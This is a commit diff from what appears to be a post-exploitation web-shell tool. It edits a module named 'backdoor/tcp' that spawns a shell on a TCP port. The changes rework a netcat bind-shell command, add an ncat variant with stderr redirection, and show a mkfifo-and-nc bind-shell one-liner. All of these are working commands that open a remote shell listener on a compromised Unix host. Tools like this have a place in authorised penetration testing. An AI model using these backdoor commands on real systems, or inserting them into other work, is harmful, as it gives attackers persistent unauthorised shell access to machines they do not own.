add netcat stderr redirection

epinna · Jun 16, 2023 · 048f50f · 048f50f
1 parent ed58bff
commit 048f50f
Showing 1 changed file with 14 additions and 6 deletions.
diff --git a/modules/backdoor/tcp.py b/modules/backdoor/tcp.py
@@ -1,10 +1,12 @@
-from core.vectors import PythonCode, ShellCmd, Os
-from core.module import Module
-from core.loggers import log
-from core import messages
-import urllib.parse
 import telnetlib
 import time
+import urllib.parse
+
+from core import messages
+from core.loggers import log
+from core.module import Module
+from core.vectors import ShellCmd, PythonCode, Os
+
 
 class Tcp(Module):
     """Spawn a shell on a TCP port."""
@@ -23,11 +25,17 @@ def init(self):
         self.register_vectors(
             [
             ShellCmd(
-              "nc -l -p ${port} -e ${shell}",
+              "nc -nlp ${port} -c '${shell} -i 2>&1' ",
               name = 'netcat',
               target = Os.NIX,
               background = True
               ),
+            ShellCmd(
+              "ncat -nlp ${port} -c '${shell} -i 2>&1' ",
+              name = 'nc.nmap',
+              target = Os.NIX,
+              background = True
+              ),
             ShellCmd(
               "rm -rf /tmp/.f;mkfifo /tmp/.f&&cat /tmp/.f|${shell} -i 2>&1|nc -l ${port} >/tmp/.f; rm -rf /tmp/.f",
               name = 'nc.bsd',